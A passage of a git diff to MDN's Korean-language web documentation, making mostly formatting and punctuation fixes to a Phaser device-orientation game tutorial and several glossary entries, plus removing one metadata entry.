     "contributors": ["young-gratia"]
@@ -10196,10 +10164,6 @@
     "modified": "2019-03-23T22:00:19.382Z",
     "contributors": ["chrisdavidmills", "cs09g"]
   },
-  "Web/Progressive_web_apps/Guides/Making_PWAs_installable": {
-    "modified": "2020-01-26T15:58:32.379Z",
-    "contributors": ["alattalatta", "chrisdavidmills", "cs09g"]
-  },
   "Web/Progressive_web_apps/Tutorials/js13kGames": {
     "modified": "2019-03-18T20:52:13.104Z",
     "contributors": ["chrisdavidmills", "cs09g"]
diff --git a/files/ko/games/tutorials/2d_breakout_game_phaser/the_score/index.md b/files/ko/games/tutorials/2d_breakout_game_phaser/the_score/index.md
index 209a3d0d6632ce..7ffd605d41cd65 100644
--- a/files/ko/games/tutorials/2d_breakout_game_phaser/the_score/index.md
+++ b/files/ko/games/tutorials/2d_breakout_game_phaser/the_score/index.md
@@ -43,7 +43,7 @@ scoreText = game.add.text(5, 5, "Points: 0", {
 
 마지막 변수는 CSS와 매우 비슷해 보입니다. 우리의 점수는 파란색에, 18픽셀 크기이며, Arial 폰트를 사용하여 나타날 것입니다.
 
-## 블록이 무너지면 점수를 갱신합니다.
+## 블록이 무너지면 점수를 갱신합니다
 
 우리는 공이 블록을 칠때마다 점수를 증가시킵니다 그리고 공이 블록을 칠때마다 동시에 점수판을 갱신하여 화면에 현재 점수를 나타낼 것입니다. 이건 `setText()매소드를 써서 해결 할수 있습니다` — `ballHitBrick()` 함수 아래로 다음과 같은 새로운 코드 두 줄을 추가하세요:
 
diff --git a/files/ko/games/tutorials/html5_gamedev_phaser_device_orientation/index.md b/files/ko/games/tutorials/html5_gamedev_phaser_device_orientation/index.md
index 48ca716f55b1de..0fee5eee37b666 100644
--- a/files/ko/games/tutorials/html5_gamedev_phaser_device_orientation/index.md
+++ b/files/ko/games/tutorials/html5_gamedev_phaser_device_orientation/index.md
@@ -5,7 +5,7 @@ slug: Games/Tutorials/HTML5_Gamedev_Phaser_Device_Orientation
 
 {{GamesSidebar}}
 
-In this tutorial we’ll go through the process of building an HTML5 mobile game that uses the [Device Orientation](/en-US/Apps/Build/gather_and_modify_data/responding_to_device_orientation_changes) and [Vibration](/ko/docs/Web/Guide/API/Vibration) **APIs** to enhance the gameplay and is built using the [Phaser](http://phaser.io/) framework. Basic JavaScript knowledge is recommended to get the most from this tutorial.
+In this tutorial we'll go through the process of building an HTML5 mobile game that uses the [Device Orientation](/en-US/Apps/Build/gather_and_modify_data/responding_to_device_orientation_changes) and [Vibration](/ko/docs/Web/Guide/API/Vibration) **APIs** to enhance the gameplay and is built using the [Phaser](http://phaser.io/) framework. Basic JavaScript knowledge is recommended to get the most from this tutorial.
 
 ## Example game
 
@@ -15,7 +15,7 @@ By the end of the tutorial you will have a fully functional demo game: [Cyber Or
 
 ## Phaser framework
 
-[Phaser](http://phaser.io/) is a framework for building desktop and mobile HTML5 games. It’s quite new, but growing rapidly thanks to the passionate community involved in the development process. You can check it out [on GitHub](https://github.com/photonstorm/phaser) where it’s open sourced, read the [online documentation](http://docs.phaser.io/) and go through the big collection of [examples](http://examples.phaser.io/). The Phaser framework provides you with a set of tools that will speed up development and help handle generic tasks needed to complete the game, so you can focus on the game idea itself.
+[Phaser](http://phaser.io/) is a framework for building desktop and mobile HTML5 games. It's quite new, but growing rapidly thanks to the passionate community involved in the development process. You can check it out [on GitHub](https://github.com/photonstorm/phaser) where it's open sourced, read the [online documentation](http://docs.phaser.io/) and go through the big collection of [examples](http://examples.phaser.io/). The Phaser framework provides you with a set of tools that will speed up development and help handle generic tasks needed to complete the game, so you can focus on the game idea itself.
 
 ## Starting with the project
 
@@ -31,7 +31,7 @@ You can open the index file in your favourite browser to launch the game and try
 
 ## Setting up the Canvas
 
-We will be rendering our game on Canvas, but we won't do it manually — this will be taken care of by the framework. Let’s set it up: our starting point is the `index.html` file with the following content. You can create this yourself if you want to follow along:
+We will be rendering our game on Canvas, but we won't do it manually — this will be taken care of by the framework. Let's set it up: our starting point is the `index.html` file with the following content. You can create this yourself if you want to follow along:
 
 ```html
 <!doctype html>
@@ -94,7 +94,7 @@ The first value is the name of the state and the second one is the object we wan
 
 ## Managing game states
 
-The states in Phaser are separate parts of the game logic; in our case we’re loading them from independent JavaScript files for better maintainability. The basic states used in this game are: `Boot`, `Preloader`, `MainMenu`, `Howto` and `Game`. `Boot` will take care of initializing a few settings, `Preloader` will load all of the assets like graphics and audio, `MainMenu` is the menu with the start button, `Howto` shows the "how to play" instructions and the `Game` state lets you actually play the game. Let's quickly go though the content of those states.
+The states in Phaser are separate parts of the game logic; in our case we're loading them from independent JavaScript files for better maintainability. The basic states used in this game are: `Boot`, `Preloader`, `MainMenu`, `Howto` and `Game`. `Boot` will take care of initializing a few settings, `Preloader` will load all of the assets like graphics and audio, `MainMenu` is the menu with the start button, `Howto` shows the "how to play" instructions and the `Game` state lets you actually play the game. Let's quickly go though the content of those states.
 
 ### Boot.js
 
@@ -260,7 +260,7 @@ The `create` and `update` functions are framework-specific, while others will be
 
 #### Adding the ball and its motion mechanics
 
-First, let’s go to the `create()` function, initialize the ball object itself and assign a few properties to it:
+First, let's go to the `create()` function, initialize the ball object itself and assign a few properties to it:
 
 ```js
 this.ball = this.add.sprite(this.ballStartPos.x, this.ballStartPos.y, "ball");
@@ -270,17 +270,17 @@ this.ball.body.setSize(18, 18);
 this.ball.body.bounce.set(0.3, 0.3);
 ```
 
-Here we’re adding a sprite at the given place on the screen and using the `'ball'` image from the loaded graphic assets. We’re also setting the anchor for any physics calculations to the middle of the ball, enabling the Arcade physics engine (which handles all the physics for the ball movement), and setting the size of the body for the collision detection. The `bounce` property is used to set the bounciness of the ball when it hits the obstacles.
+Here we're adding a sprite at the given place on the screen and using the `'ball'` image from the loaded graphic assets. We're also setting the anchor for any physics calculations to the middle of the ball, enabling the Arcade physics engine (which handles all the physics for the ball movement), and setting the size of the body for the collision detection. The `bounce` property is used to set the bounciness of the ball when it hits the obstacles.
 
 #### Controlling the ball
 
-It’s cool to have the ball ready to be thrown around in the play area, but it’s also important to be able to actually move it! Now we will add the ability to control the ball with the keyboard on the desktop devices, and then we will move to the implementation of the Device Orientation API. Let’s focus on the keyboard first by adding the following to the `create()` function :
+It's cool to have the ball ready to be thrown around in the play area, but it's also important to be able to actually move it! Now we will add the ability to control the ball with the keyboard on the desktop devices, and then we will move to the implementation of the Device Orientation API. Let's focus on the keyboard first by adding the following to the `create()` function :
 
 ```js
 this.keys = this.game.input.keyboard.createCursorKeys();
 ```
 
-As you can see there’s a special Phaser function called `createCursorKeys()`, which will give us an object with event handlers for the four arrow keys to play with: up, down, left and right.
+As you can see there's a special Phaser function called `createCursorKeys()`, which will give us an object with event handlers for the four arrow keys to play with: up, down, left and right.
 
 Next we will add the following code to the `update()` function, so it will be fired on every frame. The `this.keys` object will be checked against player input, so the ball can react accordingly with the predefined force:
 
@@ -301,13 +301,13 @@ That way we can check which key is pressed at the given frame and apply the defi
 
 #### Implementing the Device Orientation API
 
-Probably the most interesting part of the game is its usage of the **Device Orientation API** for control on mobile devices. Thanks to this you can play the game by tilting the device in the direction you want the ball to roll. Here’s the code from the `create()` function responsible for this:
+Probably the most interesting part of the game is its usage of the **Device Orientation API** for control on mobile devices. Thanks to this you can play the game by tilting the device in the direction you want the ball to roll. Here's the code from the `create()` function responsible for this:
 
 ```js
 window.addEventListener("deviceorientation", this.handleOrientation, true);
 ```
 
-We’re adding an event listener to the `"deviceorientation"` event and binding the `handleOrientation` function which looks like this:
+We're adding an event listener to the `"deviceorientation"` event and binding the `handleOrientation` function which looks like this:
 
 ```js
 handleOrientation: function(e) {
@@ -335,7 +335,7 @@ this.hole.anchor.set(0.5);
 this.hole.body.setSize(2, 2);
 ```
 
-The difference is that our hole’s body will not move when we hit it with the ball and will have the collision detection calculated (which will be discussed later on in this article).
+The difference is that our hole's body will not move when we hit it with the ball and will have the collision detection calculated (which will be discussed later on in this article).
 
 #### Building the block labyrinth
 
@@ -390,7 +390,7 @@ Thanks to that the game gives the player a challenge - now he have to roll the b
 
 #### Collision detection
 
-At this point we've got the ball that is controlled by the player, the hole to reach and the obstacles blocking the way. There’s a problem though — our game doesn’t have any collision detection yet, so nothing happens when the ball hits the blocks — it just goes through. Let’s fix it! The good news is that the framework will take care of calculating the collision detection, we only have to specify the colliding objects in the `update()` function:
+At this point we've got the ball that is controlled by the player, the hole to reach and the obstacles blocking the way. There's a problem though — our game doesn't have any collision detection yet, so nothing happens when the ball hits the blocks — it just goes through. Let's fix it! The good news is that the framework will take care of calculating the collision detection, we only have to specify the colliding objects in the `update()` function:
 
 ```js
 this.physics.arcade.collide(
@@ -447,7 +447,7 @@ If the `vibrate` method is supported by the browser and available in the `window
 
 #### Adding the elapsed time
 
-To improve replayability and give players the option to compete with each other we will store the elapsed time — players can then try to improve on their best game completion time. To implement this we have to create a variable for storing the actual number of seconds elapsed from the start of the game, and to show it for the player in the game. Let’s define the variables in the `create` function first:
+To improve replayability and give players the option to compete with each other we will store the elapsed time — players can then try to improve on their best game completion time. To implement this we have to create a variable for storing the actual number of seconds elapsed from the start of the game, and to show it for the player in the game. Let's define the variables in the `create` function first:
 
 ```js
 this.timer = 0; // time elapsed in the current level
@@ -471,7 +471,7 @@ this.totalTimeText = this.game.add.text(
 );
 ```
 
-We’re defining the top and left positions of the text, the content that will be shown and the styling applied to the text. We have this printed out on the screen, but it would be good to update the values every second:
+We're defining the top and left positions of the text, the content that will be shown and the styling applied to the text. We have this printed out on the screen, but it would be good to update the values every second:
 
 ```js
 this.time.events.loop(Phaser.Timer.SECOND, this.updateCounter, this);
@@ -487,11 +487,11 @@ updateCounter: function() {
 },
 ```
 
-As you can see we’re incrementing the `this.timer` variable and updating the content of the text objects with the current values on each iteration, so the player sees the elapsed time.
+As you can see we're incrementing the `this.timer` variable and updating the content of the text objects with the current values on each iteration, so the player sees the elapsed time.
 
 #### Finishing the level and the game
 
-The ball is rolling on the screen, the timer is working and we have the hole created that we have to reach. Now let’s set up the possibility to actually finish the level! The following line in the `update()` function adds a listener that fires when the ball gets to the hole.
+The ball is rolling on the screen, the timer is working and we have the hole created that we have to reach. Now let's set up the possibility to actually finish the level! The following line in the `update()` function adds a listener that fires when the ball gets to the hole.
 
 ```js
 this.physics.arcade.overlap(this.ball, this.hole, this.finishLevel, null, this);
@@ -529,7 +529,7 @@ If the current level is lower than 5, all the neccesary variables are reset and
 
 ## Ideas for new features
 
-This is merely a working demo of a game that could have lots of additional features. We can for example add power-ups to collect along the way that will make our ball roll faster, stop the timer for a few seconds or give the ball special powers to go through obstacles. There’s also room for the traps which will slow the ball down or make it more difficult to reach the hole. You can create more levels of increasing difficulty. You can even implement achievements, leaderboards and medals for different actions in the game. There are endless possibilities — they only depend on your imagination.
+This is merely a working demo of a game that could have lots of additional features. We can for example add power-ups to collect along the way that will make our ball roll faster, stop the timer for a few seconds or give the ball special powers to go through obstacles. There's also room for the traps which will slow the ball down or make it more difficult to reach the hole. You can create more levels of increasing difficulty. You can even implement achievements, leaderboards and medals for different actions in the game. There are endless possibilities — they only depend on your imagination.
 
 ## Summary
 
diff --git a/files/ko/glossary/abstraction/index.md b/files/ko/glossary/abstraction/index.md
index 0898a6cb421419..36a5d4834258d2 100644
--- a/files/ko/glossary/abstraction/index.md
+++ b/files/ko/glossary/abstraction/index.md
@@ -2,6 +2,7 @@
 title: 추상화
 slug: Glossary/Abstraction
 ---
+
 {{Glossary("computer programming", "컴퓨터 프로그래밍")}}에서의 **추상화**란 복잡한 소프트웨어 시스템을 효율적으로 설계하고 구현할 수 있는 방법입니다. 추상화는 뒷편 시스템의 기술적 복잡함을 단순한 {{Glossary("API")}} 뒤에 숨깁니다.
 
 ## 데이터 추상화의 장점
@@ -14,24 +15,24 @@ slug: Glossary/Abstraction
 ## 예
 
 ```js
-    class ImplementAbstraction {
-      // method to set values of internal members
-      set(x, y) {
-        this.a = x;
-        this.b = y;
-      }
-
-      display() {
-        console.log('a = ' + this.a);
-        console.log('b = ' + this.b);
-      }
-    }
-
-    const obj = new ImplementAbstraction();
-    obj.set(10, 20);
-    obj.display();
-    // a = 10
-    // b = 20
+class ImplementAbstraction {
+  // method to set values of internal members
+  set(x, y) {
+    this.a = x;
+    this.b = y;
+  }
+
+  display() {
+    console.log("a = " + this.a);
+    console.log("b = " + this.b);
+  }
+}
+
+const obj = new ImplementAbstraction();
+obj.set(10, 20);
+obj.display();
+// a = 10
+// b = 20
 ```
 
 ## 더 알아보기
diff --git a/files/ko/glossary/attribute/index.md b/files/ko/glossary/attribute/index.md
index 35ea65ac7b9724..6af4d9dc697545 100644
--- a/files/ko/glossary/attribute/index.md
+++ b/files/ko/glossary/attribute/index.md
@@ -2,6 +2,7 @@
 title: 특성
 slug: Glossary/Attribute
 ---
+
 {{QuickLinksWithSubpages("/ko/docs/Glossary")}}
 
 **특성**(attribute)은 {{glossary("tag", "태그")}}를 확장해 동작 방식을 바꾸거나 메타데이터를 제공합니다.
@@ -11,11 +12,11 @@ slug: Glossary/Attribute
 등호 또는 값 없는 특성이 보일 때도 있습니다. {{glossary("HTML")}}에서는 빈 문자열을 제공하는 단축 표기법이고, {{glossary("XML")}}에서는 특성 이름을 제공하는 단축 표기법입니다.
 
 ```html
-<input required>
+<input required />
 <!-- 다음과 같음 -->
-<input required="">
+<input required="" />
 <!-- 다음과 같음 -->
-<input required="required">
+<input required="required" />
 ```
 
 ## 더 알아보기
diff --git a/files/ko/glossary/block-level_content/index.md b/files/ko/glossary/block-level_content/index.md
index 96704ff75057f4..ca2a38fc591369 100644
--- a/files/ko/glossary/block-level_content/index.md
+++ b/files/ko/glossary/block-level_content/index.md
@@ -17,13 +17,18 @@ original_slug: Web/HTML/Block-level_elements
 ### HTML
 
 ```html
-<p>이 문단은 블록 레벨 요소입니다. 부모 요소와 구분할 수 있도록 배경 색을 입혔습니다.</p>
+<p>
+  이 문단은 블록 레벨 요소입니다. 부모 요소와 구분할 수 있도록 배경 색을
+  입혔습니다.
+</p>
 ```
 
 ### CSS
 
 ```css
-p { background-color: #8ABB55; }
+p {
+  background-color: #8abb55;
+}
 ```
 
 {{EmbedLiveSample('블록_레벨_요소')}}
diff --git a/files/ko/glossary/breadcrumb/index.md b/files/ko/glossary/breadcrumb/index.md
index dd1568eac0e176..2288cd2cc13b1d 100644
--- a/files/ko/glossary/breadcrumb/index.md
+++ b/files/ko/glossary/breadcrumb/index.md
@@ -2,6 +2,7 @@
 title: Breadcrumb (브레드크럼)
 slug: Glossary/Breadcrumb
 ---
+
 **브레드크럼**, 또는 브레드크럼 트레일은 일반적으로 사이트의 header와 기본 컨텐츠 사이에 배치되는 탐색 보조 도구로, 사이트 구조와 관련된 현재 페이지의 계층 구조, 최상위에서부터 현재 페이지까지를 사용자의 링크 목록 등으로 표시합니다. 현재 페이지까지 방문한 순서대로 보입니다.
 
 이 문서의 위치 탐색 경로는 다음과 같습니다.:
diff --git a/files/ko/glossary/call_stack/index.md b/files/ko/glossary/call_stack/index.md
index eb9274c3f75b39..9155df48fca3b2 100644
--- a/files/ko/glossary/call_stack/index.md
+++ b/files/ko/glossary/call_stack/index.md
@@ -14,12 +14,12 @@ slug: Glossary/Call_stack
 
 ```js
 function greeting() {
-   // [1] Some codes here
-   sayHi();
-   // [2] Some codes here
+  // [1] Some codes here
+  sayHi();
+  // [2] Some codes here
 }
 function sayHi() {
-   return "Hi!";
+  return "Hi!";
 }
 
 // Invoke the `greeting` function
@@ -34,23 +34,23 @@ greeting();
 2. `greeting()` 함수를 호출합니다.
 3. `greeting()` 함수를 호출 스택 리스트에 추가합니다.
 
-    > **참고:** 호출 스택 리스트:
-    > \- greeting
+   > **참고:** 호출 스택 리스트:
+   > \- greeting
 
 4. `greeting` 함수 내부의 모든 코드를 실행합니다.
 5. `sayHi()` 함수를 얻습니다.
 6. `sayHi()` 함수를 호출 스택 리스트에 추가합니다.
 
-    > **참고:** 호출 스택 리스트:
-    > \- greeting
-    > \- sayHi
+   > **참고:** 호출 스택 리스트:
+   > \- greeting
+   > \- sayHi
 
 7. `sayHi()` 함수의 끝에 도달할 때까지, 함수 내부의 모든 코드를 실행합니다.
 8. `sayHi()` 가 호출된 라인으로 돌아와 `greeting()` 함수의 나머지를 계속 실행합니다.
 9. 호출 스택 리스트에서 `sayHi()` 함수를 제거합니다.
 
-    > **참고:** 호출 스택 리스트:
-    > \- greeting
+   > **참고:** 호출 스택 리스트:
+   > \- greeting
 
 10. `greeting()` 함수 내부의 모든 코드가 실행되었을 때, 이를 호출한 라인으로 돌아와 JS 코드의 나머지를 계속 실행합니다.
 11. 호출 스택 리스트에서 `greeting()` 함수를 제거합니다.
diff --git a/files/ko/glossary/character/index.md b/files/ko/glossary/character/index.md
index 802aaf6a0b3862..affa440c375a0b 100644
--- a/files/ko/glossary/character/index.md
+++ b/files/ko/glossary/character/index.md
@@ -2,6 +2,7 @@
 title: Character
 slug: Glossary/Character
 ---
+
 문자는 기호(글자, 숫자, 문장 부호) 또는 비출력 "제어"(예: 캐리지 리턴 또는 소프트 하이픈)이다. {{glossary("UTF-8")}}은 가장 보편적인 문자 세트이며 유명한 인간 언어들의 문자를 포함한다.
 
 ## 더 알아보기
diff --git a/files/ko/glossary/character_encoding/index.md b/files/ko/glossary/character_encoding/index.md
index 282a1e0fdc2d17..007ab8e50a2bbc 100644
--- a/files/ko/glossary/character_encoding/index.md
+++ b/files/ko/glossary/character_encoding/index.md
@@ -8,7 +8,7 @@ slug: Glossary/Character_encoding
 예를 들어, HTML에서 우리는 일반적으로 아래 줄과 같이 UTF-8의 문자 인코딩을 선언한다 :
 
 ```html
-<meta charset="utf-8">
+<meta charset="utf-8" />
 ```
 
 이것은 당신이 당신의 HTML 문서에서 인간 언어의 문자를 사용할 수 있도록 보장하며, 그것들은 신뢰성 있게 표시될 것이다.
diff --git a/files/ko/glossary/character_set/index.md b/files/ko/glossary/character_set/index.md
index bcf56730639a88..34807b3bd46c98 100644
--- a/files/ko/glossary/character_set/index.md
+++ b/files/ko/glossary/character_set/index.md
@@ -15,11 +15,11 @@ slug: Glossary/Character_set
 
 1. Wikipedia articles
 
-    1. [Character encoding](https://en.wikipedia.org/wiki/Character_encoding)
+   1. [Character encoding](https://en.wikipedia.org/wiki/Character_encoding)
 
 2. [Glossary](/ko/docs/Glossary)
 
-    1. {{Glossary("Character")}}
-    2. {{Glossary("Unicode")}}
+   1. {{Glossary("Character")}}
+   2. {{Glossary("Unicode")}}
 
 <section id="Quick_links"></section>
diff --git a/files/ko/glossary/chrome/index.md b/files/ko/glossary/chrome/index.md
index d0297d820d5b38..78cec8f9ffb2ca 100644
--- a/files/ko/glossary/chrome/index.md
+++ b/files/ko/glossary/chrome/index.md
@@ -2,6 +2,7 @@
 title: Chrome
 slug: Glossary/Chrome
 ---
+
 브라우저에서 chrome은 웹페이지를 제외한 브라우저의 모든 가시적인 요소이다. (예: 도구 모음, 메뉴 바, 탭) 이것은 {{glossary("Google Chrome")}} 브라우저와 혼동해서는 안 된다.
 
 ## 더 알아보기
diff --git a/files/ko/glossary/compile/index.md b/files/ko/glossary/compile/index.md
index 95349061824b6e..94bde17126fe16 100644
--- a/files/ko/glossary/compile/index.md
+++ b/files/ko/glossary/compile/index.md
@@ -2,6 +2,7 @@
 title: Compile
 slug: Glossary/Compile
 ---
+
 컴파일(Compile)은 주어진 {{Glossary("computer programming", "language")}}로 작성된 컴퓨터 프로그램을 다른 언어의 동등한 프로그램으로 변환하는 프로세스입니다. 컴파일러는이 작업을 실행하는 소프트웨어입니다. 때로는이 작업을 "조립(assembling)"또는 "빌드(build)"라고도 합니다. 이 작업들은 보통 컴파일과 같은 것(예를 들면 바이너리 형식으로 패키지를 만드는 일) 이상의 작업을 수행합니다 .
 
 일반적으로 컴파일러는 C 또는 {{Glossary("Java")}} 와 같은 고급 언어를 CPU가 이해할 수 있는, 즉 어셈블리어와 같은 기계 언어로 변환합니다. 유사한 수준의 언어 사이에서 번역하는 일부 컴파일러를 트랜스파일러 또는 크로스 컴파일러 라고 합니다. 예를 들어 TypeScript에서 {{Glossary("JavaScript")}}로 컴파일합니다. 그것들은 생산성 도구로 간주됩니다.
diff --git a/files/ko/glossary/computer_programming/index.md b/files/ko/glossary/computer_programming/index.md
index b0f64349e4878c..023d09e64e062e 100644
--- a/files/ko/glossary/computer_programming/index.md
+++ b/files/ko/glossary/computer_programming/index.md
@@ -2,6 +2,7 @@
 title: Computer Programming
 slug: Glossary/Computer_Programming
 ---
+
 컴퓨터 프로그래밍은 명령어 모음집을 작성하고 구성하는 과정이다. 이것들은 컴퓨터/소프트웨어 프로그램에게 컴퓨터가 이해하는 언어로 무엇을 해야 하는지 알려준다. 이러한 지침은 C++, Java, JavaScript, HTML, Python, Ruby, Rust와 같은 다양한 언어의 형태로 나온다.
 
 적절한 언어를 사용하면 모든 종류의 소프트웨어를 프로그래밍/생성할 수 있다. 이것의 예시에는 복잡한 계산을 하여 과학자들을 돕는 프로그램, 엄청난 양의 데이터를 저장하는 데이터베이스, 음악을 다운받을 수 있는 웹 사이트, 애니메이션 영화를 만들 수 있는 애니메이션 소프트웨어를 들 수 있다.
diff --git a/files/ko/glossary/copyleft/index.md b/files/ko/glossary/copyleft/index.md
index 12e036b15ab6d1..4ccc614732424b 100644
--- a/files/ko/glossary/copyleft/index.md
+++ b/files/ko/glossary/copyleft/index.md
@@ -2,6 +2,7 @@
 title: Copyleft
 slug: Glossary/Copyleft
 ---
+
 Copyleft는 일반적으로 라이선스를 지칭하는 용어로서, 그러한 라이선스는 해당 저작물의 재배포가 원래 라이선스와 동일한 라이선스의 대상이 되어야 한다는 것을 나타내기 위해 사용된다. copyleft 라이선스의 예로는 GNU {{Glossary("GPL")}}(소프트웨어용)과 Creative Commons SA(Share Alike) 라이선스(예술 작품에서)가 있다.
 
 ## 더 알아보기
diff --git a/files/ko/glossary/cors/index.md b/files/ko/glossary/cors/index.md
index 26737de0773df7..5a2d409d21bdeb 100644
--- a/files/ko/glossary/cors/index.md
+++ b/files/ko/glossary/cors/index.md
@@ -2,6 +2,7 @@
 title: CORS
 slug: Glossary/CORS
 ---
+
 다른 도메인({{glossary("domain","domains")}})에서의 자원을 호출하는 행위에 제한이 없을 경우 안전하지 않습니다. **CORS** (Cross-Origin Resource Sharing)는 이렇게 시스템 수준에서 타 도메인 간 자원 호출을 승인하거나 차단하는 것을 결정하는 것입니다.
 
 ## 더 보기
diff --git a/files/ko/glossary/csp/index.md b/files/ko/glossary/csp/index.md
index a85ab16114ba1d..0960d1aaff546a 100644
--- a/files/ko/glossary/csp/index.md
+++ b/files/ko/glossary/csp/index.md
@@ -2,6 +2,7 @@
 title: CSP
 slug: Glossary/CSP
 ---
+
 CSP (Content Security Policy)는 {{Glossary("XSS")}}이나 데이터 주입과 같은 특정 웹사이트 관련 공격을 탐지 하거나 완화 하기 위해 사용된다.
 
 기본적인 구현은 `Content-Security-Policy`라고 불리는 {{Glossary("HTTP")}} 헤더를 기반으로 한다.
diff --git a/files/ko/glossary/css/index.md b/files/ko/glossary/css/index.md
index 13fb58b5704d9c..9bdb9f5ace1cb8 100644
--- a/files/ko/glossary/css/index.md
+++ b/files/ko/glossary/css/index.md
@@ -18,7 +18,7 @@ p {
   color: yellow;
 
   /* The "background-color" property defines the background color, in this case black. */
-  background-color: black
+  background-color: black;
 }
 ```
 
diff --git a/files/ko/glossary/doctype/index.md b/files/ko/glossary/doctype/index.md
index 925df02266066f..e2190ba515686c 100644
--- a/files/ko/glossary/doctype/index.md
+++ b/files/ko/glossary/doctype/index.md
@@ -2,7 +2,8 @@
 title: 문서 타입 정의
 slug: Glossary/Doctype
 ---
-{{Glossary("HTML")}}에서, doctype은 모든 문서의 최상단에서 찾을 수 있는 "`<!DOCTYPE html>`" 필수 서문이다. doctype은 {{Glossary("브라우저")}}가 문서를 렌더링 할 때 [“quirks mode”](/ko/docs/Quirks_Mode_and_Standards_Mode)로 바뀌지 않도록하는 것이 유일한 목적이다. "`<!DOCTYPE html>`" doctype은 브라우저가 일부 스펙과 맞지 않는 다른 렌더링 모드를 사용하기 보다는 적절한 스펙을 따르는 최선의 시도를 하도록 한다.
+
+{{Glossary("HTML")}}에서, doctype은 모든 문서의 최상단에서 찾을 수 있는 "`<!DOCTYPE html>`" 필수 서문이다. doctype은 {{Glossary("브라우저")}}가 문서를 렌더링 할 때 ["quirks mode"](/ko/docs/Quirks_Mode_and_Standards_Mode)로 바뀌지 않도록하는 것이 유일한 목적이다. "`<!DOCTYPE html>`" doctype은 브라우저가 일부 스펙과 맞지 않는 다른 렌더링 모드를 사용하기 보다는 적절한 스펙을 따르는 최선의 시도를 하도록 한다.
 
 ## 더보기
 
diff --git a/files/ko/glossary/domain_name/index.md b/files/ko/glossary/domain_name/index.md
index 3f4805c1bb109a..58f34cdaa7e5d5 100644
--- a/files/ko/glossary/domain_name/index.md
+++ b/files/ko/glossary/domain_name/index.md
@@ -2,6 +2,7 @@
 title: 도메인 이름
 slug: Glossary/Domain_name
 ---
+
 **도메인 이름**은 {{Glossary("Internet", "인터넷")}} 웹 사이트의 주소로, {{glossary("URL")}}에서 특정 웹 페이지가 속하는 서버를 식별할 때 사용합니다. 도메인 이름은 마침표(점)로 구분한 계층적인 이름(레이블)의 연속으로 구성되며, {{glossary("TLD", "확장")}}으로 끝납니다.
 
 ## 더 알아보기
diff --git a/files/ko/glossary/endianness/index.md b/files/ko/glossary/endianness/index.md
index 64e7fc633933b5..211e97dde7a28a 100644
--- a/files/ko/glossary/endianness/index.md
+++ b/files/ko/glossary/endianness/index.md
@@ -2,6 +2,7 @@
 title: 엔디언
 slug: Glossary/Endianness
 ---
+
 **엔디언**(endian, endianness) 또는 **바이트 순서**는 숫자를 구성하는 바이트를 컴퓨터가 정렬하는 방법입니다.
 
 메모리의 저장 공간은 인덱스, 또는 주소를 가지고 있습니다. 각각의 바이트는 8비트 숫자(`0x00` 이상, `0xff` 이하)를 저장할 수 있으므로, 그보다 큰 숫자에 대해서는 두 개 이상의 바이트가 필요합니다. 여러 개의 바이트를 정렬하는, 지금까지 가장 많이 쓰이는 방법은 모든 Intel 프로세서가 사용하는 **리틀 엔디언**입니다. 리틀 엔디언은 작은 단위부터 정렬하는 방식으로, 가장 작은 단위의 바이트가 맨 앞 혹은 앞쪽 주소를 차지합니다. 이 방식은 유럽식 날짜 표기(31-12-2050)에 대입할 수 있습니다.
diff --git a/files/ko/glossary/entity_header/index.md b/files/ko/glossary/entity_header/index.md
index c8d72fba387731..6e5ad515dc8ddc 100644
--- a/files/ko/glossary/entity_header/index.md
+++ b/files/ko/glossary/entity_header/index.md
@@ -2,6 +2,7 @@
 title: 엔티티 헤더
 slug: Glossary/Entity_header
 ---
+
 엔티티 헤더는 메시지 바디의 컨텐츠를 나타내는 {{glossary("header", "HTTP 헤더")}}입니다. 엔티티 헤더는 HTTP 요청 및 응답 모두에서 사용됩니다. {{HTTPHeader("Content-Length")}}, {{HTTPHeader("Content-Language")}}, {{HTTPHeader("Content-Encoding")}}과 같은 헤더는 엔티티 헤더입니다.
 
 엔티티 헤더가 요청이나 응답 헤더가 아님에도 불구하고, 이러한 용어로 종종 포함됩니다.
diff --git a/files/ko/glossary/falsy/index.md b/files/ko/glossary/falsy/index.md
index 84a14c95e931ec..fca3336ce0657b 100644
--- a/files/ko/glossary/falsy/index.md
+++ b/files/ko/glossary/falsy/index.md
@@ -9,15 +9,15 @@ slug: Glossary/Falsy
 
 다음은 8가지 거짓 같은 값들입니다:
 
-| `false`                          | 키워드 [false](/ko/docs/Web/JavaScript/Reference/Lexical_grammar#구형_표준의_확장_예약_키워드)                                           |
-| -------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- |
-| `0`                              | 숫자 [zero](/ko/docs/Web/JavaScript/Data_structures#Number_타입)                                                                         |
-| `-0`                             | 음수 [zero](/ko/docs/Web/JavaScript/Data_structures#Number_타입)                                                                         |
-| `0n`                             | [BigInt](/ko/docs/Web/JavaScript/Reference/Global_Objects/BigInt). 불리언으로 사용될 경우, 숫자와 같은 규칙을 따름. `0n`은 거짓 같은 값. |
-| `""`                             | 빈 [string](/ko/docs/Web/JavaScript/Reference/Global_Objects/String)                                                                     |
-| {{Glossary("null")}}     | [null](/ko/docs/Web/JavaScript/Reference/Global_Objects/null) - 아무런 값도 없음                                                         |
+| `false`                   | 키워드 [false](/ko/docs/Web/JavaScript/Reference/Lexical_grammar#구형_표준의_확장_예약_키워드)                                           |
+| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- |
+| `0`                       | 숫자 [zero](/ko/docs/Web/JavaScript/Data_structures#Number_타입)                                                                         |
+| `-0`                      | 음수 [zero](/ko/docs/Web/JavaScript/Data_structures#Number_타입)                                                                         |
+| `0n`                      | [BigInt](/ko/docs/Web/JavaScript/Reference/Global_Objects/BigInt). 불리언으로 사용될 경우, 숫자와 같은 규칙을 따름. `0n`은 거짓 같은 값. |
+| `""`                      | 빈 [string](/ko/docs/Web/JavaScript/Reference/Global_Objects/String)                                                                     |
+| {{Glossary("null")}}      | [null](/ko/docs/Web/JavaScript/Reference/Global_Objects/null) - 아무런 값도 없음                                                         |
 | {{Glossary("undefined")}} | [undefined](/ko/docs/Web/JavaScript/Reference/Global_Objects/undefined) - 원시값                                                         |
-| {{Glossary("NaN")}}         | [NaN](/ko/docs/Web/JavaScript/Reference/Global_Objects/NaN) - 숫자가 아님                                                                |
+| {{Glossary("NaN")}}       | [NaN](/ko/docs/Web/JavaScript/Reference/Global_Objects/NaN) - 숫자가 아님                                                                |
 
